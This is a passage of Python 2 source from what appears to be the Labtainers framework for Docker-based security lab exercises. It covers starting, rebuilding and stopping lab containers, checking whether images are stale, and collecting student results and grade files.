lab\n") + else: + dumb = raw_input("Continue? (y/n)") + if dumb.lower() != 'y': + cmd = 'rm -fr .tmp/%s' % labname + os.system(cmd) + print('Exiting lab') + exit(0) + +def DoStart(start_config, labtainer_config, lab_path, + quiet_start, run_container, servers, clone_count, auto_grade=False, debug_grade=False, container_images=None): + labname = os.path.basename(lab_path) + logger.DEBUG("DoStart Multiple Containers and/or multi-home networking") + ''' make sure root can access Xserver ''' + SetXhost() + + apps2start = [] + has_multi_container = CheckLabContainerApps(start_config, lab_path, apps2start) + logger.DEBUG("Apps to start is (%s)" % apps2start) + + hostSystem_script = os.path.join(lab_path, '*/_bin', 'hostSystemCheck.py') + hostSystemCheckList = glob.glob('%s' % hostSystem_script) + logger.DEBUG("List of hostSystemCheck.py (%s)" % hostSystemCheckList) + # If more than one hostSystemCheck.py - pick first one + if hostSystemCheckList != [] and os.path.isfile(hostSystemCheckList[0]): + # Do Host System Check if necessary (if file exists) + command = "%s" % hostSystemCheckList[0] + result = subprocess.call(shlex.split(command), stderr=subprocess.PIPE) + if result == FAILURE: + logger.WARNING("Host System Check indicates error encountered") + user_input=raw_input("Would you like to quit? (yes/no)\n") + user_input=user_input.strip().lower() + #print "user_input (%s)" % user_input + if user_input == "yes": + sys.exit(1) + + # Create SUBNETS + CreateSubnets(start_config) + student_email = None + threads = [] + results = [] + if has_multi_container: + container_warning_printed = False + start_config, student_email = CheckEmailReloadStartConfig(start_config, quiet_start, lab_path, + labtainer_config, logger, servers, clone_count) + for name, container in start_config.containers.items(): + if SkipContainer(run_container, name, start_config, servers): + #print('gonna skip %s' % run_container) + continue + + if has_multi_container and container_warning_printed == False: + print "Starting the lab, this may take a moment..." + container_warning_printed = True + image_info = None + if container_images is not None: + image_info = container_images[name] + t = threading.Thread(target=DoStartOne, args=(labname, name, container, start_config, labtainer_config, lab_path, + student_email, quiet_start, results, auto_grade, image_info)) + threads.append(t) + t.setName(name) + t.start() + logger.DEBUG('started all') + for t in threads: + t.join() + logger.DEBUG('joined %s' % t.getName()) + + if False in results: + DoStop(start_config, labtainer_config, lab_path, False, run_container, servers) + logger.ERROR('DoStartOne has at least one failure!') + sys.exit(1) + + + readFirst(lab_path, labname, 'read_first.txt', quiet_start) + + # spawn terminal for each container based on num_terminal + terminal_count = 0 + terminal_groups = {} + for name, container in start_config.containers.items(): + # Do not spawn terminal if it is regression testing + if SkipContainer(run_container, name, start_config, servers): + print('herez %s' % name) + continue + terminal_count = ContainerTerminals(lab_path, start_config, container, terminal_count, terminal_groups) + + for tg in terminal_groups: + tab_commands = '' + tab = '--window' + for command in terminal_groups[tg]: + tab_commands = tab_commands+' %s -e %s' % (tab, command) + tab = '--tab' + #tab_commands = tab_commands+' --tab %s --' % command + terminal_location, columns, lines = terminalCounter(terminal_count) + terminal_count += 1 + spawn_command = 'gnome-terminal %s %s' % (terminal_location, tab_commands) + FNULL = open(os.devnull, 'w') + result = subprocess.Popen(shlex.split(spawn_command), close_fds=True, stdout=FNULL, stderr=subprocess.STDOUT) + logger.DEBUG("gnome spawn: %s" % spawn_command) + #os.system(spawn_command) + + if apps2start != [] and not auto_grade: + print "Please wait for the apps (%s) to launch" % apps2start + + return 0 + +def terminalCounter(terminal_count): + columns = 100 + lines = 25 + x_coordinate = columns + ( 50 * terminal_count ) + y_coordinate = 75 + ( 50 * terminal_count) + terminal_location = "--geometry %dx%d+%d+%d" % (columns, lines, x_coordinate, y_coordinate) + return terminal_location, columns, lines + +def terminalWideCounter(terminal_count): + x_coordinate = 100 + ( 50 * terminal_count ) + y_coordinate = 75 + ( 50 * terminal_count) + terminal_location = "--geometry 160x35+%d+%d" % (x_coordinate, y_coordinate) + return terminal_location + +# Check existence of /home/$USER/$HOST_HOME_XFER directory - create if necessary +def CreateHostHomeXfer(host_xfer_dir): + # remove trailing '/' + host_xfer_dir = host_xfer_dir.rstrip('/') + logger.DEBUG("host_home_xfer directory (%s)" % host_xfer_dir) + if os.path.exists(host_xfer_dir): + # exists but is not a directory + if not os.path.isdir(host_xfer_dir): + # remove file then create directory + os.remove(host_xfer_dir) + os.makedirs(host_xfer_dir) + #else: + # logger.DEBUG("host_home_xfer directory (%s) exists" % host_xfer_dir) + else: + # does not exists, create directory + os.makedirs(host_xfer_dir) + +# CopyChownGradesFile +def CopyChownGradesFile(start_config, labtainer_config, name, container_name, container_user, ignore_stop_error): + host_home_xfer = os.path.join(labtainer_config.host_home_xfer, start_config.labname) + labname = start_config.labname + + username = getpass.getuser() + + # Copy .grades.txt file + grade_filename = '/home/%s/%s.grades.txt' % (container_user, labname) + command = "docker cp %s:%s /home/%s/%s" % (container_name, grade_filename, username, host_home_xfer) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(shlex.split(command)) + logger.DEBUG("Result of subprocess.Popen exec cp %s.grades.txt file is %s" % (labname, result)) + if result == FAILURE: + # try grabbing instructor.log + command = "docker cp %s:/tmp/instructor.log /tmp/instructor.log" % (container_name) + result = subprocess.call(shlex.split(command)) + logger.DEBUG("Result of subprocess.Popen exec cp instructor.log file is %s" % (result)) + + + clone_names = GetContainerCloneNames(start_config.containers[name]) + for clone_full in clone_names: + StopMyContainer(clone_full, ignore_stop_error) + if ignore_stop_error: + logger.DEBUG("Container %s fail on executing cp %s.grades.txt file!\n" % (container_name, labname)) + else: + logger.WARNING("Container %s fail on executing cp %s.grades.txt file!\n" % (container_name, labname)) + return + + + # Copy .grades.json file + gradejson_filename = '/home/%s/%s.grades.json' % (container_user, labname) + command = "docker cp %s:%s /home/%s/%s" % (container_name, gradejson_filename, username, host_home_xfer) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(shlex.split(command)) + logger.DEBUG("Result of subprocess.Popen exec cp %s.grades.json file is %s" % (labname, result)) + if result == FAILURE: + clone_names = GetContainerCloneNames(container) + for clone_full in clone_names: + StopMyContainer(clone_full, ignore_stop_error) + if ignore_stop_error: + logger.DEBUG("Container %s fail on executing cp %s.grades.json file!\n" % (container_name, labname)) + else: + logger.WARNING("Container %s fail on executing cp %s.grades.json file!\n" % (container_name, labname)) + return + +def StartLab(lab_path, force_build=False, is_redo=False, quiet_start=False, + run_container=None, servers=None, clone_count=None, auto_grade=False, debug_grade=False): + labname = os.path.basename(lab_path) + mycwd = os.getcwd() + myhomedir = os.environ['HOME'] + logger.DEBUG("current working directory for %s" % mycwd) + logger.DEBUG("current user's home directory for %s" % myhomedir) + logger.DEBUG("ParseStartConfig for %s" % labname) + is_valid_lab(lab_path) + + lab_count = LabCount.addCount('./', labname, is_redo, logger) + if lab_count == 1: + readFirst(lab_path, labname, 'read_pre.txt', quiet_start, bail_option=True) + labtainer_config, start_config = GetBothConfigs(lab_path, logger, servers, clone_count) + host_home_xfer = os.path.join(labtainer_config.host_home_xfer, labname) + + build_student = 'bin/buildImage.sh' + build_instructor = 'bin/buildInstructorImage.sh' + LABS_DIR = os.path.abspath('../../labs') + didfix = False + ''' hackey assumption about running from labtainers-student or labtainers-instructor ''' + container_bin = './bin' + if is_redo or force_build: + my_start_config = os.path.join('./.tmp',labname, 'start.config') + if os.path.isfile(my_start_config): + logger.DEBUG('Cached start.config removed %s' % my_start_config) + os.remove(my_start_config) + + container_images = {} + for name, container in start_config.containers.items(): + if SkipContainer(run_container, name, start_config, servers): + #print('skipping name %s %s' % (name, start_config.containers[name])) + continue + mycontainer_name = container.full_name + mycontainer_image_name = container.image_name + if is_redo: + # If it is a redo then always remove any previous container + # If it is not a redo, i.e., start.py then DO NOT remove existing container + clone_names = GetContainerCloneNames(container) + for clone_full in clone_names: + cmd = 'docker rm %s' % clone_full + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + logger.DEBUG("Command was (%s)" % cmd) + if len(output[1]) > 0: + logger.DEBUG("Error from command = '%s'" % str(output[1])) + #image_exists, result, dumb = ImageExists(mycontainer_image_name, container.registry) + image_info = imageInfo(mycontainer_image_name, container.registry, labtainer_config, quiet=quiet_start) + container_images[name] = image_info + if image_info is not None: + logger.DEBUG('Image version %s framework_version %s' % (image_info.version, framework_version)) + if image_info.version is not None and int(image_info.version) > framework_version: + print('**** Labtainer update required *****') + print('This lab requires that you update your labtainers installation.') + print('Please type: update-labtainer.sh') + print('and then try starting the lab again.') + exit(0) + if not image_info.local: + dockerPull(container.registry, mycontainer_image_name) + else: + if os.path.isfile(build_student): + cmd = '%s %s %s %s %s %s %s %s %s %s' % (build_student, labname, name, container.user, container.password, False, + LABS_DIR, labtainer_config.apt_source, container.registry, framework_version) + elif os.path.isfile(build_instructor): + cmd = '%s %s %s %s %s %s %s %s %s %s' % (build_instructor, labname, name, container.user, container.password, False, + LABS_DIR, labtainer_config.apt_source, container.registry, framework_version) + else: + logger.ERROR("no image rebuild script\n") + exit(1) + + if os.system(cmd) != 0: + logger.ERROR("build of image failed\n") + exit(1) + + # Check existence of /home/$USER/$HOST_HOME_XFER directory - create if necessary + host_xfer_dir = '%s/%s' % (myhomedir, host_home_xfer) + CreateHostHomeXfer(host_xfer_dir) + + DoStart(start_config, labtainer_config, lab_path, quiet_start, + run_container, servers=servers, clone_count=clone_count, auto_grade=auto_grade, + debug_grade=debug_grade, container_images=container_images) + +def DateIsLater(df_utc_string, ts, local=False, debug=False): + parts = df_utc_string.split('.') + ''' use dateutil to parse for zone, which we get from svn ''' + x=parse(parts[0]) + if local: + df_ts = time.mktime(x.timetuple()) + else: + df_ts = calendar.timegm(x.timetuple()) + if debug: + logger.DEBUG('df_utc time is %s' % df_utc_string) + logger.DEBUG('df_utc ts is %s given ts is %s' % (df_ts, ts)) + if int(df_ts) > int(ts): + return True + else: + return False + +def EmptyTar(fname): + size = os.path.getsize(fname) + if size == 10240 or size == 110: + return True + else: + return False + +def FileModLater(ts, fname): + retval = False + df_utc_string = None + # start with check of svn status + if os.path.isfile(fname): + cmd = 'git ls-files -s %s' % fname + child = subprocess.Popen(shlex.split(cmd), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = child.communicate() + if len(output[0].strip()) > 0: + has_svn = True + else: + has_svn = False + else: + has_svn = False + cmd = 'git status -s %s' % fname + logger.DEBUG('cmd: %s' % cmd) + child = subprocess.Popen(shlex.split(cmd), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + while True: + line = child.stdout.readline() + line = line.strip() + if line == '': + break + logger.DEBUG('line: <%s>' % line) + ''' ignore empty tar archives ''' + if line.startswith('?'): + if os.path.isfile(fname): + has_svn = False + else: + has_svn = True + f = line.strip().split()[1] + if f.endswith('.tar'): + if EmptyTar(f): + continue + fdir = os.path.dirname(f) + if os.path.isfile(os.path.join(fdir,'external-manifest')): + continue + elif f.endswith('_tar') and os.path.isdir(f): + continue + elif os.path.isfile(f): + df_time = os.path.getmtime(f) + df_utc_string = str(datetime.datetime.utcfromtimestamp(df_time)) + retval = DateIsLater(df_utc_string, ts) + if retval: + break + else: + has_svn = True + + #logger.DEBUG(line) + if os.path.isdir(fname) or line.startswith('M') or line.startswith('>'): + if '/home_tar/' in line or '/sys_tar/' in line: + continue + logger.DEBUG('svn status found something for fname %s, line %s' % (fname, line)) + if line.startswith('M'): + file_path = line.split()[-1] + df_time = os.path.getmtime(file_path) + #parent = os.path.dirname(line.split()[1]) + #df_time = os.path.getmtime(parent) + elif line.startswith('D'): + file_path = line.split()[-1] + if '/' in file_path: + file_dir = os.path.dirname(file_path) + df_time = os.path.getmtime(file_dir) + else: + file_path = '/'+line.split('/', 1)[-1].strip() + #logger.DEBUG('not an "M", get dftime for %s' % file_path) + if not os.path.exists(file_path): + continue + df_time = os.path.getmtime(file_path) + df_utc_string = str(datetime.datetime.utcfromtimestamp(df_time)) + retval = DateIsLater(df_utc_string, ts, debug=False) + if retval: + break + if df_utc_string is None: + # try svn info. stderr implies not in svn + if not has_svn: + #logger.DEBUG('not in svn?') + # assume not in svn + #logger.DEBUG("not in svn? %s" % fname) + if fname.endswith('.tar'): + if EmptyTar(fname): + # hacky special case for empty tar files. ug. + return False + fdir = os.path.dirname(fname) + # why not consider tars built from external manifest??? + #if os.path.isfile(os.path.join(fdir,'external-manifest')): + # return False + if os.path.isfile(fname): + df_time = os.path.getmtime(fname) + else: + check_file = newest_file_in_tree(fname) + #logger.DEBUG('latest found is %s' % check_file) + if EmptyTar(check_file): + # hacky special case for empty tar files. ug. + return False + df_time = os.path.getmtime(check_file) + df_utc_string = str(datetime.datetime.utcfromtimestamp(df_time)) + retval = DateIsLater(df_utc_string, ts) + else: + # in svn, look for changed date + cmd = 'git log -1 --format="%%ad" %s' % fname + logger.DEBUG('in svn, look for changed date %s' % cmd) + child = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = child.communicate() + if len(output[0].strip()) > 0: + df_utc_string = output[0].strip() + logger.DEBUG('git log for %s returned %s' % (cmd, df_utc_string)) + svn_is_later = DateIsLater(df_utc_string, ts, local=True, debug=False) + df_time = os.path.getmtime(fname) + file_utc_string = str(datetime.datetime.utcfromtimestamp(df_time)) + logger.DEBUG('file time %s' % file_utc_string) + file_is_later = DateIsLater(file_utc_string, ts, local=False, debug=False) + retval = svn_is_later and file_is_later + + if df_utc_string is None: + # must be an add + logger.DEBUG('%s must be an add' % fname) + if os.path.isfile(fname): + df_time = os.path.getmtime(fname) + else: + check_file = newest_file_in_tree(fname) + logger.DEBUG('latest found is %s' % check_file) + df_time = os.path.getmtime(check_file) + df_utc_string = str(datetime.datetime.utcfromtimestamp(df_time)) + retval = DateIsLater(df_utc_string, ts, debug=False) + + ''' is the given file later than the timestamp (which is in UTC)? ''' + #logger.DEBUG('df ts %s' % df_time) + return retval + +def BaseImageTime(dockerfile, registry): + image_name = None + retval = 0 + with open(dockerfile) as fh: + for line in fh: + if line.strip().startswith('FROM'): + parts = line.strip().split() + image_name = parts[1] + image_name = image_name.replace("$registry", registry) + break + if image_name is None: + logger.ERROR('no base image found in %s' % dockerfile) + exit(1) + image_exists, result, dumb = ImageExists(image_name, None) + if image_exists: + parts = result.strip().split('.') + #time_string = parts[0] + #logger.DEBUG('base image time string %s' % time_string) + #retval = time.mktime(time.strptime(time_string, "%Y-%m-%dT%H:%M:%S")) + x=parse(parts[0]) + retval = calendar.timegm(x.timetuple()) + logger.DEBUG('base image time string %s returning %s' % (parts[0], retval)) + else: + logger.DEBUG('base image %s not found, assume not updated' % image_name) + return retval, image_name + +def newest_file_in_tree(rootfolder): + if len(os.listdir(rootfolder)) > 0: + try: + return max( + (os.path.join(dirname, filename) + for dirname, dirnames, filenames in os.walk(rootfolder) + for filename in filenames), + key=lambda fn: os.stat(fn).st_mtime) + except ValueError: + return rootfolder + else: + return rootfolder + +def GetImageUser(image_name, container_registry): + + user = None + password = None + cmd = 'docker history --no-trunc %s' % image_name + child = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = child.communicate() + if len(output[1]) > 0: + cmd = 'docker history --no-trunc %s/%s' % (container_registry, image_name) + child = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = child.communicate() + if len(output[0]) > 0: + for line in output[0].splitlines(True): + parts = line.split() + for p in parts: + if p.startswith('user_name='): + user = p.split('=')[1] + elif p.startswith('password='): + password = p.split('=')[1] + if user is not None: + return user, password + return user, password + +def CheckBuild(lab_path, image_name, image_info, container_name, name, is_redo, container_bin, + start_config, container_registry, container_user): + ''' + Determine if a container image needs to be rebuilt, return true if so. + ''' + + container_dir = os.path.join(lab_path, name) + labname = os.path.basename(lab_path) + should_be_exec = ['rc.local', 'fixlocal.sh'] + retval = False + + #image_exists, result, dumb = ImageExists(image_name, container_registry) + if image_info is not None and not is_redo: + logger.DEBUG('Container %s image %s exists, not a redo, just return (no need to check build)' % (container_name, image_name)) + return False + elif image_info is None: + return True + + x=parse(image_info.creation) + ts = calendar.timegm(x.timetuple()) + logger.DEBUG('image ts %s %s' % (ts, image_info.creation)) + + ''' look at dockerfiles ''' + df_name = 'Dockerfile.%s' % container_name + df = os.path.join(lab_path, 'dockerfiles', df_name) + if not os.path.isfile(df): + df = df.replace('instructor', 'student') + + ''' get ts of base image ''' + ts_base, bname = BaseImageTime(df, container_registry) + if ts_base > ts: + logger.WARNING('Base image %s changed, will build %s' % (bname, name)) + retval = True + elif FileModLater(ts, df): + logger.WARNING('dockerfile changed, will build %s' % name) + retval = True + else: + ''' look for new/deleted files in the container ''' + logger.DEBUG('container dir %s' % container_dir) + if FileModLater(ts, container_dir): + logger.WARNING('new/deleted %s is later, will build %s' % (container_dir, name)) + retval = True + else: + ''' look at all files/directories in container ''' + flist = os.listdir(container_dir) + for f in flist: + check_file = None + if f == 'sys_tar': + check_file = os.path.join(container_dir, f, 'sys.tar') + elif f == 'home_tar': + check_file = os.path.join(container_dir, f, 'home.tar') + elif os.path.isdir(os.path.join(container_dir,f)): + check_file = newest_file_in_tree(os.path.join(container_dir, f)) + else: + check_file = os.path.join(container_dir, f) + logger.DEBUG('check file %s' % check_file) + if FileModLater(ts, check_file): + logger.WARNING('files in container %s is later, will build %s' % (check_file, name)) + retval = True + break + + if not retval: + param_file = os.path.join(lab_path, 'config', 'parameter.config') + if os.path.isfile(param_file): + if FileModLater(ts, param_file): + logger.DEBUG('%s is later, see if container is named' % param_file) + with open(param_file) as param_fh: + for line in param_fh: + if line.startswith('#') or ' : ' not in line: + continue + parts = line.split(' : ') + filenames = parts[2].split(';') + for fname in filenames: + fname = f.strip() + # look for container, or lack of any container qualifier in file name + if fname != 'start.config': + if fname.startswith(container_name+':') or len(parts)<3 or ':' not in fname: + logger.WARNING('%s is later and %s mentioned in it, will build' % (param_file, container_name)) + retval = True + break + if retval: + break + + #if not retval and container_bin is not None: + # all_bin_files = os.listdir(container_bin) + # for f in all_bin_files: + # if f.endswith('.swp'): + # continue + # f_path = os.path.join(container_bin, f) + # if FileModLater(ts, f_path): + # logger.WARNING('container_bin %s is later, will build %s' % (f_path, name)) + # retval = True + # break + + if not retval and image_info.local: + user, password = GetImageUser(image_name, container_registry) + if user != container_user: + logger.WARNING('user changed from %s to %s, will build %s' % (user, container_user, name)) + retval = True + + logger.DEBUG('returning retval of %s' % str(retval)) + return retval + +def dumb(): + pass + ''' + ''' +def RedoLab(lab_path, force_build=False, is_redo=False, quiet_start=False, + run_container=None, servers=None, clone_count=None, auto_grade=False, debug_grade=False): + mycwd = os.getcwd() + myhomedir = os.environ['HOME'] + # Pass 'True' to ignore_stop_error (i.e., ignore certain error encountered during StopLab + # since it might not even be an error) + StopLab(lab_path, True) + is_redo = True + StartLab(lab_path, force_build, is_redo=is_redo, quiet_start=quiet_start, + run_container=run_container, servers=servers, clone_count=clone_count, auto_grade=auto_grade, debug_grade=debug_grade) + +def CheckShutdown(lab_path, name, container_name, container_user, ignore_stop_error): + ''' NOT USED at the moment ''' + done = False + count = 0 + while not done: + command='docker cp %s:/tmp/.shutdown_done /tmp/' % (container_name) + logger.DEBUG(command) + child = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE) + error = child.stderr.read().strip() + if len(error) > 0: + logger.DEBUG("response from docker cp %s" % error) + time.sleep(1) + else: + logger.DEBUG("must have found the shutdown_done file") + done = True + count += 1 + if count > 5: + done = True + +def PreStop(container_name, ts): + logger.DEBUG("About to call prestop") + cmd_path = '$HOME/.local/bin/prestop' + cmd = "docker exec %s bash -c 'ls -l %s'" % (container_name, cmd_path) + + if DockerCmd(cmd, noloop=True): + cmd = "docker exec %s bash -c '%s >$HOME/.local/result/prestop.stdout.%s'" % (container_name, cmd_path, ts) + DockerCmd(cmd, noloop=True) + +def GatherOtherArtifacts(lab_path, name, container_name, container_user, container_password, ignore_stop_error): + ''' + Parse the results.config file looking for files named by absolute paths, + and copy those into the .local/result directory, maintaining the original + directory structure, e.g., .local/result/var/log/foo.log + ''' + config_path = os.path.join(lab_path,"instr_config") + results_config_path = os.path.join(config_path,"results.config") + did_file = [] + CopyAbsToResult(container_name, '/root/.bash_history', container_user, ignore_stop_error) + did_file.append('/root/.bash_history') + with open (results_config_path) as fh: + for line in fh: + ''' container:filename is between "=" and first " : " ''' + line = line.strip() + if line.startswith('#') or len(line) == 0: + continue + if '=' not in line: + logger.WARNING('no = in line %s' % line) + continue + after_equals = line.split('=', 1)[1].strip() + # note assumes field delimeters are space-:-space, vice container:file + fname = after_equals.split(' : ')[0].strip() + is_mine = False + if ':' in fname: + ''' + [container_name:].[stdin | stdout] | [container_name:]file_path[:time_program] + + ''' + f_container = None + parts = fname.split(':') + if len(parts) == 2: + if parts[0].startswith('/'): + filename = parts[0] + else: + f_container = parts[0] + filename = parts[1] + elif len(parts) == 3: + f_container = parts[0] + filename = parts[1] + if f_container is not None and f_container.strip() == name: + is_mine = True + filename = filename.strip() + else: + is_mine = True + filename = fname + if is_mine: + if filename.startswith('/') and filename not in did_file: + ''' copy from abs path to ~/.local/result ''' + logger.DEBUG('file on this container to copy <%s>' % filename ) + CopyAbsToResult(container_name, filename, container_user, ignore_stop_error) + did_file.append(filename) + +def CopyAbsToResult(container_name, fname, container_user, ignore_stop_error): + ''' copy from abs path to ~/.local/result ''' + + command='docker exec %s mkdir -p /home/%s/.local/result' % (container_name, container_user) + command='docker exec %s sudo cp --parents %s /home/%s/.local/result' % (container_name, fname, container_user) + logger.DEBUG(command) + child = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE) + error = child.stderr.read().strip() + if len(error) > 0: + if ignore_stop_error: + logger.DEBUG('error from docker: %s' % error) + logger.DEBUG('command was %s' % command) + else: + logger.DEBUG('error from docker: %s' % error) + logger.DEBUG('command was %s' % command) + #command='docker exec %s echo "%s\n" | sudo -S chmod a+r -R /home/%s/.local/result' % (container_name, container_password, container_user) + command='docker exec %s sudo chmod a+r -R /home/%s/.local/result' % (container_name, container_user) + child = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE) + error = child.stderr.read().strip() + if len(error) > 0: + if ignore_stop_error: + logger.DEBUG('chmod ERROR: %s' % error) + logger.DEBUG('command was %s' % command) + else: + logger.ERROR('chmod ERROR: %s' % error) + logger.ERROR('command was %s' % command) + + +def CreateCopyChownZip(start_config, labtainer_config, name, container_name, container_image, container_user, + container_password, ignore_stop_error, keep_running): + ''' + Zip up the student home directory and copy it to the Linux host home directory + ''' + logger.DEBUG('in CreateCopyChownZip') + host_home_xfer = os.path.join(labtainer_config.host_home_xfer, start_config.labname) + + # Run 'Student.py' - This will create zip file of the result + logger.DEBUG("About to call Student.py") + ''' Copy the Student.py on each stop to handle cases where the parameter list changes.''' + cmd = 'docker cp lab_bin/Student.py %s:/home/%s/.local/bin/' % (container_name, container_user) + if not DockerCmd(cmd): + logger.ERROR('failed to copy Student.py') + cmd_path = '/home/%s/.local/bin/Student.py' % (container_user) + #command=['docker', 'exec', '-i', container_name, 'echo "%s\n" |' % container_password, '/usr/bin/sudo', cmd_path, container_user, container_image] + command=['docker', 'exec', '-i', container_name, '/usr/bin/sudo', cmd_path, container_user, container_image, str(keep_running)] + logger.DEBUG('cmd: %s' % str(command)) + child = subprocess.Popen(command, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = child.communicate() + if keep_running and len(output[0].strip()) > 0: + print('\n<<<<< You may need to stop: %s in order to obtain a complete assessment. >>>>>\n' % output[0].strip()) + if len(output[1].strip()) > 0: + if ignore_stop_error: + logger.DEBUG("Container %s fail on executing Student.py %s \n" % (container_name, output[1])) + else: + logger.ERROR("Container %s fail on executing Student.py %s \n" % (container_name, output[1])) + return None, None + logger.DEBUG("results from Student.py: %s" % output[0]) + + #out_string = output[0].strip() + #if len(out_string) > 0: + # logger.DEBUG('output of Student.py is %s' % out_string) + username = getpass.getuser() + + tmp_dir=os.path.join('/tmp/labtainers', container_name) + shutil.rmtree(tmp_dir, ignore_errors=True) + try: + os.makedirs(tmp_dir) + except os.error: + logger.ERROR("did not expect to find dir %s" % tmp_dir) + source_dir = os.path.join('/home', container_user, '.local', 'zip') + cont_source = '%s:%s' % (container_name, source_dir) + logger.DEBUG('will copy from %s ' % source_dir) + command = ['docker', 'cp', cont_source, tmp_dir] + # The zip filename created by Student.py has the format of e-mail.labname.zip + logger.DEBUG("Command to execute is (%s)" % command) + child = subprocess.Popen(command, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + error_string = child.stderr.read().strip() + if len(error_string) > 0: + if ignore_stop_error: + logger.DEBUG("Container %s fail on executing cp zip file: %s\n" % (container_name, error_string)) + logger.DEBUG("Command was (%s)" % command) + else: + logger.ERROR("Container %s fail on executing cp zip file: %s\n" % (container_name, error_string)) + logger.ERROR("Command was (%s)" % command) + clone_names = GetContainerCloneNames(start_config.containers[name]) + for clone_full in clone_names: + StopMyContainer(clone_full, ignore_stop_error) + return None, None + + local_tmp_zip = os.path.join(tmp_dir, 'zip') + try: + orig_zipfilenameext = os.listdir(local_tmp_zip)[0] + except: + if ignore_stop_error: + logger.DEBUG('no files at %s\n' % local_tmp_zip) + else: + logger.ERROR('no files at %s\n' % local_tmp_zip) + return None, None + orig_zipfilename, orig_zipext = os.path.splitext(orig_zipfilenameext) + baseZipFilename = os.path.basename(orig_zipfilename) + #NOTE: Use the '=' to separate e-mail+labname from the container_name + DestZipFilename = '%s=%s.zip' % (baseZipFilename, container_name) + DestZipPath = os.path.join('/home', username, host_home_xfer, DestZipFilename) + shutil.copyfile(os.path.join(local_tmp_zip, orig_zipfilenameext), DestZipPath) + + currentContainerZipFilename = "/home/%s/%s/%s" % (username, host_home_xfer, DestZipFilename) + return baseZipFilename, currentContainerZipFilename + +# Stop my_container_name container +def StopMyContainer(container_name, ignore_stop_error): + command = "docker stop -t 1 %s" % container_name + logger.DEBUG("Command to execute is (%s)" % command) + ps = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1].strip()) > 0: + if ignore_stop_error: + logger.DEBUG('Fail to stop container, error returned %s' % output[1]) + else: + logger.ERROR('Fail to stop container, error returned %s' % output[1]) + #if len(output[0].strip()) > 0: + # logger.DEBUG('StopMyContainer stdout %s' % output[0]) + #result = subprocess.call(command, shell=True) + +# Get a list of running lab +def GetListRunningLab(): + lablist = [] + # Note: doing "docker ps" not "docker ps -a" to get just the running container + command = "docker ps" + logger.DEBUG("Command to execute is (%s)" % command) + ps = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1].strip()) > 0: + logger.ERROR('Fail to get a list of running containers, error returned %s' % output[1]) + sys.exit(1) + if len(output[0]) > 0: + docker_ps_output = output[0].split('\n') + for each_line in docker_ps_output: + # Skip empty line or the "CONTAINER ID" line - the header line returned by "docker ps" + current_line = each_line.strip() + if not current_line or current_line.startswith("CONTAINER"): + continue + # Assume the container name is the last token on the line + container_info = current_line.split() + container_name = container_info[-1] + # Assume the labname is the first token if split by '.' + labname = container_name.split('.')[0] + if labname not in lablist: + lablist.append(labname) + return lablist + +# Given a network name, if it is valid, get a list of labname for the container(s) that is(are) +# using that network. Note: the network name is passed in as an argument +def GetListLabContainerOnNetwork(network_name): + containerlabnamelist = [] + command = "docker network inspect %s" % network_name + logger.DEBUG("Command to execute is (%s)" % command) + ps = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1].strip()) > 0: + logger.ERROR('Fail to inspect the network %s, error returned %s' % (network_name, output[1])) + sys.exit(1) + if len(output[0]) > 0: + network_result = json.loads(output[0]) + if len(network_result) != 0: + result = network_result[0] + containers = result["Containers"] + for key in containers: + container_name = containers[key]["Name"] + # Assume the labname is the first token if split by '.' + labname = container_name.split('.')[0] + if labname not in containerlabnamelist: + containerlabnamelist.append(labname) + return containerlabnamelist + +# Given an IP address (gateway IP address) - find a network name that has that IP address as its gateway +# Note: the IP address is passed in as an argument +def FindNetworkGivenGatewayIP(gateway_address): + found_match_network = False + found_match_network_name = "" + logger.DEBUG("FindNetworkGivenGatewayIP %s" % gateway_address) + networklist = [] + # First get a list of network name of driver=bridge + command = "docker network ls --filter driver=bridge" + logger.DEBUG("Command to execute is (%s)" % command) + ps = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1].strip()) > 0: + logger.ERROR('Fail to get a list of network (driver=bridge), error returned %s' % output[1]) + sys.exit(1) + if len(output[0]) > 0: + network_list = output[0].split('\n') + for each_line in network_list: + # Skip empty line or the "NETWORK ID" line - the header line returned by "docker network" + current_line = each_line.strip() + if not current_line or current_line.startswith("NETWORK"): + continue + # Assume the network name is the second token on the line + container_info = current_line.split() + network_name = container_info[1] + # Do not need to check network name "bridge" + if network_name != "bridge" and network_name not in networklist: + networklist.append(network_name) + # Loop through each network (driver=bridge) to find if any uses IP address as gateway + for network_name in networklist: + command = "docker network inspect %s" % network_name + logger.DEBUG("Command to execute is (%s)" % command) + ps = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1].strip()) > 0: + logger.ERROR('Fail to inspect the network %s, error returned %s' % (network_name, output[1])) + sys.exit(1) + if len(output[0]) > 0: + network_result = json.loads(output[0]) + if len(network_result) != 0: + result = network_result[0] + ipam_config = result["IPAM"]["Config"][0] + for key in ipam_config: + if key == "Gateway": + ipam_config_gateway_ip = ipam_config[key] + if gateway_address == ipam_config_gateway_ip: + found_match_network = True + found_match_network_name = network_name + break + return found_match_network, found_match_network_name + +# Given a subnet (network subnet) - find a network name that has that same subnet +# Note: the subnet is 